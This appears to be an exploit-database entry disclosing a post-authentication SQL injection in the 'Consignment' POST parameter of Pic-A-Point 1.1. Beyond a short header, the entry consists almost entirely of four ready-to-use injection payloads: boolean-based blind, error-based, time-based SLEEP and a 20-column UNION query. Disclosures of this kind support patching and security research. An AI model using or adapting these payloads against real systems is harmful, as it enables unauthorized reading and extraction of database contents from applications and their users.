citecodecrashers Pic-A-Point 1.1 SQL Injection

`# Exploit Title: citecodecrashers Pic-A-Point 1.1 - 'Consignment' SQL Injection  
# Author: Cakes  
# Discovery Date: 2019-09-26  
# Vendor Homepage: https://github.com/citecodecrashers/Pic-A-Point  
# Software Link: https://github.com/citecodecrashers/Pic-A-Point/archive/master.zip  
# Tested Version: 1.1  
# Tested on OS: CentOS 7  
# CVE: N/A  
  
# Discription:  
# Simple SQL injection after application authentication.   
  
# POST Request  
  
# Parameter: Consignment (POST)  
# Type: boolean-based blind  
# Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)  
  
Payload: Consignment=1234' AND 9752=(SELECT (CASE WHEN (9752=9752) THEN 9752 ELSE (SELECT 1018 UNION SELECT 3533) END))-- QBEy&Submit=Trace now  
  
# Type: error-based  
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
  
Payload: Consignment=1234' AND (SELECT 4396 FROM(SELECT COUNT(*),CONCAT(0x7162707871,(SELECT (ELT(4396=4396,1))),0x716a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- hufy&Submit=Trace now  
  
# Type: time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
  
Payload: Consignment=1234' AND (SELECT 9267 FROM (SELECT(SLEEP(5)))qpkL)-- OiWK&Submit=Trace now  
  
# Type: UNION query  
# Title: Generic UNION query (NULL) - 20 columns  
  
Payload: Consignment=1234' UNION ALL SELECT NULL,CONCAT(0x7162707871,0x614b666177515872456a7177706f6b654d54744e75644e4b597648496742464c6346656865654e67,0x716a7a7171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- cUud&Submit=Trace now  
`